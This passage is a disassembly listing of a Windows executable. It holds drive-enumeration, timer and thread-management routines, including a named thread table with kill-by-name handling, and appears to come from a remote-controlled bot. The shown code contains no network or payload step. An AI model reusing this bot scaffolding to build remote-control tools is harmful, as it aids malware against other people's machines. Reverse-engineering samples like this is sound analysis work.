		and	[ebp+var_5D8], 0
		and	[ebp+var_414], 0
		mov	[ebp+var_410], 1


loc_408FA6:				; CODE XREF: sub_408F2E+23Bj
		lea	eax, [ebp+var_424]
		push	eax
		call	ds:dword_4170CC	; GetDriveTypeA
		mov	[ebp+var_5DC], eax
		cmp	[ebp+var_5DC], 0
		jz	loc_409151
		cmp	[ebp+var_5DC], 1
		jz	loc_409151
		cmp	[ebp+var_5DC], 2
		jnz	short loc_408FE5
		mov	[ebp+var_4], offset aRemovable ; "removable"
		jmp	short loc_409034
; ---------------------------------------------------------------------------


loc_408FE5:				; CODE XREF: sub_408F2E+ACj
		cmp	[ebp+var_5DC], 3
		jnz	short loc_408FF7
		mov	[ebp+var_4], offset aFixed ; "fixed"
		jmp	short loc_409034
; ---------------------------------------------------------------------------


loc_408FF7:				; CODE XREF: sub_408F2E+BEj
		cmp	[ebp+var_5DC], 4
		jnz	short loc_409009
		mov	[ebp+var_4], offset aRemote ; "remote"
		jmp	short loc_409034
; ---------------------------------------------------------------------------


loc_409009:				; CODE XREF: sub_408F2E+D0j
		cmp	[ebp+var_5DC], 5
		jnz	short loc_40901B
		mov	[ebp+var_4], offset aCdRom ; "cd-rom"
		jmp	short loc_409034
; ---------------------------------------------------------------------------


loc_40901B:				; CODE XREF: sub_408F2E+E2j
		cmp	[ebp+var_5DC], 6
		jnz	short loc_40902D
		mov	[ebp+var_4], offset aRamdisk ; "ramdisk"
		jmp	short loc_409034
; ---------------------------------------------------------------------------


loc_40902D:				; CODE XREF: sub_408F2E+F4j
		mov	[ebp+var_4], offset aUnknown_0 ; "unknown"


loc_409034:				; CODE XREF: sub_408F2E+B5j
					; sub_408F2E+C7j ...
		cmp	[ebp+var_5DC], 5
		jz	short loc_40906A
		cmp	[ebp+var_5DC], 2
		jz	short loc_40906A
		lea	eax, [ebp+var_42C]
		push	eax
		lea	eax, [ebp+var_420]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		lea	eax, [ebp+var_424]
		push	eax
		call	ds:dword_4170C8	; GetDiskFreeSpaceExA
		jmp	short loc_40907D
; ---------------------------------------------------------------------------


loc_40906A:				; CODE XREF: sub_408F2E+10Dj
					; sub_408F2E+116j
		push	8
		push	0
		lea	eax, [ebp+var_42C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch


loc_40907D:				; CODE XREF: sub_408F2E+13Aj
		push	0
		push	100000h
		push	[ebp+var_428]
		push	[ebp+var_42C]
		call	sub_416C90
		mov	[ebp+var_42C], eax
		mov	[ebp+var_428], edx
		cmp	[ebp+var_410], 0
		jnz	short loc_4090BF
		push	offset dword_419404
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		jmp	short loc_4090C6
; ---------------------------------------------------------------------------


loc_4090BF:				; CODE XREF: sub_408F2E+17Aj
		and	[ebp+var_410], 0


loc_4090C6:				; CODE XREF: sub_408F2E+18Fj
		mov	eax, [ebp+var_42C]
		or	eax, [ebp+var_428]
		test	eax, eax
		jz	short loc_40910A
		push	[ebp+var_428]
		push	[ebp+var_42C]
		push	[ebp+var_4]
		lea	eax, [ebp+var_424]
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	offset dword_4193E4
		lea	eax, [ebp+var_404]
		push	eax
		call	ds:dword_4171E0	; wsprintfA
		add	esp, 1Ch
		jmp	short loc_409130
; ---------------------------------------------------------------------------


loc_40910A:				; CODE XREF: sub_408F2E+1A6j
		push	[ebp+var_4]
		lea	eax, [ebp+var_424]
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	offset dword_4193D4
		lea	eax, [ebp+var_404]
		push	eax
		call	ds:dword_4171E0	; wsprintfA
		add	esp, 14h


loc_409130:				; CODE XREF: sub_408F2E+1DAj
		mov	eax, [ebp+var_42C]
		mov	ecx, [ebp+var_414]
		add	ecx, eax
		mov	[ebp+var_414], ecx
		mov	eax, [ebp+var_5D8]
		inc	eax
		mov	[ebp+var_5D8], eax


loc_409151:				; CODE XREF: sub_408F2E+92j
					; sub_408F2E+9Fj
		mov	al, byte ptr [ebp+var_424]
		add	al, 1
		mov	byte ptr [ebp+var_424],	al
		movsx	eax, byte ptr [ebp+var_424]
		cmp	eax, 5Ah
		jnz	loc_408FA6
		cmp	[ebp+var_5D8], 0
		jz	short loc_40918B
		push	offset dword_419404
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx


loc_40918B:				; CODE XREF: sub_408F2E+248j
		push	[ebp+var_414]
		push	[ebp+var_5D8]
		lea	eax, [ebp+var_404]
		push	eax
		push	offset dword_41939C
		lea	eax, [ebp+var_404]
		push	eax
		call	ds:dword_4171E0	; wsprintfA
		add	esp, 14h
		lea	eax, [ebp+var_404]
		push	eax
		push	offset aS	; "%s"
		lea	eax, [ebp+var_5D0]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_5D4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		pop	edi
		pop	esi
		leave
		retn	4
sub_408F2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4091E2	proc near		; CODE XREF: sub_40A9CF+1C61p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4091FC
		jmp	short locret_409224
; ---------------------------------------------------------------------------


loc_4091FC:				; CODE XREF: sub_4091E2+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aDriveinfoThrea ; "Driveinfo thread"
		push	0
		push	[ebp+var_4]
		push	offset sub_408F2E
		call	sub_4095A4
		add	esp, 10h

locret_409224:				; CODE XREF: sub_4091E2+18j
		leave
		retn
sub_4091E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409226	proc near		; CODE XREF: sub_416ADB-D5p

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:dword_4170D8	; QueryPerformanceCounter
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_4170D4	; QueryPerformanceFrequency
		cmp	[ebp+var_4], 0
		jl	short loc_40928E
		jg	short loc_40924E
		cmp	[ebp+var_8], 0
		jbe	short loc_40928E


loc_40924E:				; CODE XREF: sub_409226+20j
		cmp	[ebp+var_C], 0
		jl	short loc_40928E
		jg	short loc_40925C
		cmp	[ebp+var_10], 0
		jbe	short loc_40928E


loc_40925C:				; CODE XREF: sub_409226+2Ej
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_416D10
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx
		fstp	[esp+20h+var_20]
		call	sub_416CFE	; ceil
		pop	ecx
		pop	ecx
		call	sub_416CF8	; _ftol
		mov	dword_41E2D0, eax
		jmp	short locret_4092A2
; ---------------------------------------------------------------------------


loc_40928E:				; CODE XREF: sub_409226+1Ej
					; sub_409226+26j ...
		call	ds:dword_4170D0	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_41E2D0, eax

locret_4092A2:				; CODE XREF: sub_409226+66j
		leave
		retn
sub_409226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4092A4	proc near		; CODE XREF: sub_4083AD+61p
					; sub_40A9CF+1CCAp ...

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:dword_4170D8	; QueryPerformanceCounter
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_4170D4	; QueryPerformanceFrequency
		cmp	[ebp+var_4], 0
		jl	short loc_409307
		jg	short loc_4092CC
		cmp	[ebp+var_8], 0
		jbe	short loc_409307


loc_4092CC:				; CODE XREF: sub_4092A4+20j
		cmp	[ebp+var_C], 0
		jl	short loc_409307
		jg	short loc_4092DA
		cmp	[ebp+var_10], 0
		jbe	short loc_409307


loc_4092DA:				; CODE XREF: sub_4092A4+2Ej
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_416D10
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx
		fstp	[esp+20h+var_20]
		call	sub_416CFE	; ceil
		pop	ecx
		pop	ecx
		call	sub_416CF8	; _ftol
		jmp	short locret_409316
; ---------------------------------------------------------------------------


loc_409307:				; CODE XREF: sub_4092A4+1Ej
					; sub_4092A4+26j ...
		call	ds:dword_4170D0	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx

locret_409316:				; CODE XREF: sub_4092A4+61j
		leave
		retn
sub_4092A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409318	proc near		; CODE XREF: sub_408B30:loc_408BBCp
					; sub_40A9CF:loc_40C715p

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:dword_4170D8	; QueryPerformanceCounter
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_4170D4	; QueryPerformanceFrequency
		cmp	[ebp+var_4], 0
		jl	short loc_409381
		jg	short loc_409340
		cmp	[ebp+var_8], 0
		jbe	short loc_409381


loc_409340:				; CODE XREF: sub_409318+20j
		cmp	[ebp+var_C], 0
		jl	short loc_409381
		jg	short loc_40934E
		cmp	[ebp+var_10], 0
		jbe	short loc_409381


loc_40934E:				; CODE XREF: sub_409318+2Ej
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_416D10
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx
		fstp	[esp+20h+var_20]
		call	sub_416CFE	; ceil
		pop	ecx
		pop	ecx
		call	sub_416CF8	; _ftol
		sub	eax, dword_41E2D0
		jmp	short locret_40938D
; ---------------------------------------------------------------------------


loc_409381:				; CODE XREF: sub_409318+1Ej
					; sub_409318+26j ...
		call	ds:dword_4170D0	; GetTickCount
		sub	eax, dword_41E2D0

locret_40938D:				; CODE XREF: sub_409318+67j
		leave
		retn
sub_409318	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40938F	proc near		; CODE XREF: .text:004168C6p
		push	ebp
		mov	ebp, esp
		and	dword_41E2F0, 0
		push	1980h
		call	sub_416B46	; malloc
		pop	ecx
		mov	dword_41E2F8, eax
		push	offset dword_41E2D8
		call	sub_409C36
		pop	ecx
		pop	ebp
		retn
sub_40938F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4093B6	proc near		; DATA XREF: sub_409479+35o

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_417278
		push	offset sub_416DBA
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_20], 0
		and	[ebp+var_1C], 0
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		mov	[ebp+var_1C], eax
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	[ebp+var_20]
		call	ds:dword_4170DC	; IsBadCodePtr
		test	eax, eax
		jz	short loc_409431
		cmp	dword_41DE38, 0
		jz	short loc_40942F
		push	[ebp+var_20]
		push	offset dword_419474
		push	offset aLast	; "#last"
		call	sub_40D4AB
		add	esp, 0Ch


loc_40942F:				; CODE XREF: sub_4093B6+62j
		jmp	short loc_409443
; ---------------------------------------------------------------------------


loc_409431:				; CODE XREF: sub_4093B6+59j
		push	[ebp+var_1C]
		call	[ebp+var_20]
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_24]
		jmp	short loc_409468
; ---------------------------------------------------------------------------


loc_409443:				; CODE XREF: sub_4093B6:loc_40942Fj
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_409466
; ---------------------------------------------------------------------------
		push	offset aBtg	; "btg"
		push	offset aThread	; "thread"
		push	[ebp+var_14]
		call	sub_40332B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh


loc_409466:				; CODE XREF: sub_4093B6+91j
		xor	eax, eax


loc_409468:				; CODE XREF: sub_4093B6+8Bj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4093B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409479	proc near		; CODE XREF: sub_40764D+14Ap
					; sub_409BF1+2Fp ...

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	8
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_409494
		xor	eax, eax
		jmp	short locret_4094E4
; ---------------------------------------------------------------------------


loc_409494:				; CODE XREF: sub_409479+15j
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_4]
		mov	[eax+4], ecx
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		push	[ebp+var_C]
		push	offset sub_4093B6
		push	20000h
		push	0
		call	sub_416DC0	; _beginthreadex
		add	esp, 18h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4094D9
		push	[ebp+var_4]
		call	ds:dword_4170A4	; CloseHandle
		push	1
		pop	eax
		jmp	short locret_4094E4
; ---------------------------------------------------------------------------


loc_4094D9:				; CODE XREF: sub_409479+50j
		push	[ebp+var_C]
		call	sub_416B4C	; free
		pop	ecx
		xor	eax, eax

locret_4094E4:				; CODE XREF: sub_409479+19j
					; sub_409479+5Ej
		leave
		retn
sub_409479	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4094E6	proc near		; DATA XREF: sub_4095A4+159o

var_1A4		= dword	ptr -1A4h
var_1A0		= dword	ptr -1A0h
var_19C		= byte ptr -19Ch
var_19B		= byte ptr -19Bh
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_417288
		push	offset sub_416DBA
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 18Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	al, byte_41DE30
		mov	[ebp+var_19C], al
		push	60h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_19B]
		rep stosd
		stosw
		stosb
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	eax, [eax+10h]
		mov	[ebp+var_1A0], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		add	eax, 14h
		push	eax
		lea	eax, [ebp+var_19C]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		push	[ebp+arg_0]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		call	dword ptr [eax+10h]
		mov	[ebp+var_1A4], eax
		or	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_1A4]
		jmp	short loc_409593
; ---------------------------------------------------------------------------
		lea	eax, [ebp+var_19C]
		push	eax
		push	offset aThread	; "thread"
		push	[ebp+var_14]
		call	sub_40332B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		xor	eax, eax


loc_409593:				; CODE XREF: sub_4094E6+8Aj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4094E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4095A4	proc near		; CODE XREF: sub_4017AA+A2p
					; sub_401D6E+8Dp ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	offset dword_41E2D8
		call	sub_409C6C
		pop	ecx
		cmp	dword_41E2F0, 10h
		jnz	short loc_4095D9
		push	[ebp+arg_4]
		call	sub_416B4C	; free
		pop	ecx
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	locret_409761
; ---------------------------------------------------------------------------


loc_4095D9:				; CODE XREF: sub_4095A4+18j
		cmp	[ebp+arg_8], 0
		jz	short loc_409627
		and	[ebp+var_10], 0
		jmp	short loc_4095EC
; ---------------------------------------------------------------------------


loc_4095E5:				; CODE XREF: sub_4095A4:loc_409625j
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_10], eax


loc_4095EC:				; CODE XREF: sub_4095A4+3Fj
		cmp	[ebp+var_10], 10h
		jge	short loc_409627
		mov	eax, [ebp+var_10]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		mov	eax, [ecx+eax+10h]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_409625
		push	[ebp+arg_4]
		call	sub_416B4C	; free
		pop	ecx
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	locret_409761
; ---------------------------------------------------------------------------


loc_409625:				; CODE XREF: sub_4095A4+64j
		jmp	short loc_4095E5
; ---------------------------------------------------------------------------


loc_409627:				; CODE XREF: sub_4095A4+39j
					; sub_4095A4+4Cj
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		jmp	short loc_409638
; ---------------------------------------------------------------------------


loc_409631:				; CODE XREF: sub_4095A4:loc_409672j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_409638:				; CODE XREF: sub_4095A4+8Bj
		cmp	[ebp+var_8], 10h
		jge	short loc_409674
		mov	eax, [ebp+var_8]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		cmp	dword ptr [ecx+eax+8], 0
		jnz	short loc_409672
		mov	eax, [ebp+var_8]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		add	ecx, eax
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		jmp	short loc_409674
; ---------------------------------------------------------------------------


loc_409672:				; CODE XREF: sub_4095A4+AEj
		jmp	short loc_409631
; ---------------------------------------------------------------------------


loc_409674:				; CODE XREF: sub_4095A4+98j
					; sub_4095A4+CCj
		cmp	[ebp+var_C], 0
		jnz	short loc_409695
		push	[ebp+arg_4]
		call	sub_416B4C	; free
		pop	ecx
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	locret_409761
; ---------------------------------------------------------------------------


loc_409695:				; CODE XREF: sub_4095A4+D4j
		cmp	[ebp+arg_4], 0
		jz	short loc_4096A3
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx


loc_4096A3:				; CODE XREF: sub_4095A4+F5j
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	[eax+10h], ecx
		lea	eax, [ebp+arg_10]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_C]
		mov	eax, [ebp+var_C]
		add	eax, 14h
		push	eax
		call	sub_416DC6	; vsprintf
		add	esp, 0Ch
		and	[ebp+var_4], 0
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+4], 0
		mov	eax, dword_41E2F0
		inc	eax
		mov	dword_41E2F0, eax
		cmp	[ebp+arg_4], 0
		jz	short loc_4096EB
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], eax
		jmp	short loc_4096F1
; ---------------------------------------------------------------------------


loc_4096EB:				; CODE XREF: sub_4095A4+13Dj
		mov	eax, [ebp+var_C]
		mov	[ebp+var_14], eax


loc_4096F1:				; CODE XREF: sub_4095A4+145j
		mov	eax, [ebp+var_C]
		add	eax, 0Ch
		push	eax
		push	0
		push	[ebp+var_14]
		push	offset sub_4094E6
		push	0
		push	0
		call	sub_416DC0	; _beginthreadex
		add	esp, 18h
		mov	ecx, [ebp+var_C]
		mov	[ecx+8], eax
		mov	eax, [ebp+var_C]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_409753
		push	[ebp+arg_4]
		call	sub_416B4C	; free
		pop	ecx
		mov	eax, dword_41E2F0
		dec	eax
		mov	dword_41E2F0, eax
		push	198h
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	short locret_409761
; ---------------------------------------------------------------------------


loc_409753:				; CODE XREF: sub_4095A4+177j
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx
		push	1
		pop	eax

locret_409761:				; CODE XREF: sub_4095A4+30j
					; sub_4095A4+7Cj ...
		leave
		retn
sub_4095A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409763	proc near		; CODE XREF: sub_401244+73p
					; sub_401244+547p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	offset dword_41E2D8
		call	sub_409C6C
		pop	ecx
		mov	eax, dword_41E2F0
		dec	eax
		mov	dword_41E2F0, eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+8]
		call	ds:dword_4170A4	; CloseHandle
		push	198h
		push	0
		push	[ebp+arg_0]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx
		pop	ebp
		retn
sub_409763	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4097A7	proc near		; CODE XREF: sub_40A9CF+EBFp

var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 194h
		cmp	[ebp+arg_0], 0
		jnz	short loc_4097BB
		jmp	locret_4098F1
; ---------------------------------------------------------------------------


loc_4097BB:				; CODE XREF: sub_4097A7+Dj
		push	[ebp+arg_0]
		call	sub_407A86
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_409825
		push	[ebp+arg_0]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_4], eax
		push	offset dword_41E2D8
		call	sub_409C6C
		pop	ecx
		cmp	[ebp+var_4], 10h
		jnb	short loc_409815
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		cmp	dword ptr [ecx+eax+8], 0
		jz	short loc_409815
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		mov	dword ptr [ecx+eax+4], 1


loc_409815:				; CODE XREF: sub_4097A7+3Fj
					; sub_4097A7+55j
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx
		jmp	locret_4098F1
; ---------------------------------------------------------------------------


loc_409825:				; CODE XREF: sub_4097A7+22j
		push	[ebp+arg_0]
		push	offset aS_0	; "*%s*"
		push	185h
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 10h
		push	offset dword_41E2D8
		call	sub_409C6C
		pop	ecx
		mov	eax, dword_41E2F0
		mov	[ebp+var_8], eax
		and	[ebp+var_194], 0
		jmp	short loc_40986A
; ---------------------------------------------------------------------------


loc_40985D:				; CODE XREF: sub_4097A7:loc_4098E1j
		mov	eax, [ebp+var_194]
		inc	eax
		mov	[ebp+var_194], eax


loc_40986A:				; CODE XREF: sub_4097A7+B4j
		cmp	[ebp+var_194], 10h
		jnb	short loc_4098E6
		mov	eax, [ebp+var_194]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		cmp	dword ptr [ecx+eax+8], 0
		jz	short loc_4098E1
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_190]
		push	eax
		mov	eax, [ebp+var_194]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		lea	eax, [ecx+eax+14h]
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_4098D9
		mov	eax, [ebp+var_194]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		mov	dword ptr [ecx+eax+4], 1


loc_4098D9:				; CODE XREF: sub_4097A7+116j
		cmp	[ebp+var_8], 0
		jnz	short loc_4098E1
		jmp	short loc_4098E6
; ---------------------------------------------------------------------------


loc_4098E1:				; CODE XREF: sub_4097A7+E3j
					; sub_4097A7+136j
		jmp	loc_40985D
; ---------------------------------------------------------------------------


loc_4098E6:				; CODE XREF: sub_4097A7+CAj
					; sub_4097A7+138j
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx

locret_4098F1:				; CODE XREF: sub_4097A7+Fj
					; sub_4097A7+79j
		leave
		retn
sub_4097A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4098F3	proc near		; CODE XREF: sub_40A9CF+F13p

var_19C		= dword	ptr -19Ch
var_198		= dword	ptr -198h
var_194		= byte ptr -194h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 19Ch
		cmp	[ebp+arg_0], 0
		jnz	short loc_409907
		jmp	locret_409AD3
; ---------------------------------------------------------------------------


loc_409907:				; CODE XREF: sub_4098F3+Dj
		push	[ebp+arg_0]
		call	sub_407A86
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	loc_4099B4
		push	[ebp+arg_0]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_4], eax
		push	offset dword_41E2D8
		call	sub_409C6C
		pop	ecx
		cmp	[ebp+var_4], 10h
		jnb	short loc_4099A4
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		cmp	dword ptr [ecx+eax+8], 0
		jz	short loc_4099A4
		mov	eax, dword_41E2F0
		dec	eax
		mov	dword_41E2F0, eax
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		mov	eax, [ecx+eax+8]
		mov	[ebp+var_8], eax
		push	198h
		push	0
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		add	ecx, eax
		push	ecx
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	0
		push	[ebp+var_8]
		call	ds:dword_4170E0	; TerminateThread
		push	[ebp+var_8]
		call	ds:dword_4170A4	; CloseHandle


loc_4099A4:				; CODE XREF: sub_4098F3+43j
					; sub_4098F3+59j
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx
		jmp	locret_409AD3
; ---------------------------------------------------------------------------


loc_4099B4:				; CODE XREF: sub_4098F3+22j
		push	[ebp+arg_0]
		push	offset aS_0	; "*%s*"
		push	185h
		lea	eax, [ebp+var_194]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 10h
		push	offset dword_41E2D8
		call	sub_409C6C
		pop	ecx
		mov	eax, dword_41E2F0
		mov	[ebp+var_C], eax
		and	[ebp+var_198], 0
		jmp	short loc_4099F9
; ---------------------------------------------------------------------------


loc_4099EC:				; CODE XREF: sub_4098F3:loc_409AC3j
		mov	eax, [ebp+var_198]
		inc	eax
		mov	[ebp+var_198], eax


loc_4099F9:				; CODE XREF: sub_4098F3+F7j
		cmp	[ebp+var_198], 10h
		jnb	loc_409AC8
		mov	eax, [ebp+var_198]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		cmp	dword ptr [ecx+eax+8], 0
		jz	loc_409AC3
		mov	eax, [ebp+var_C]
		dec	eax
		mov	[ebp+var_C], eax
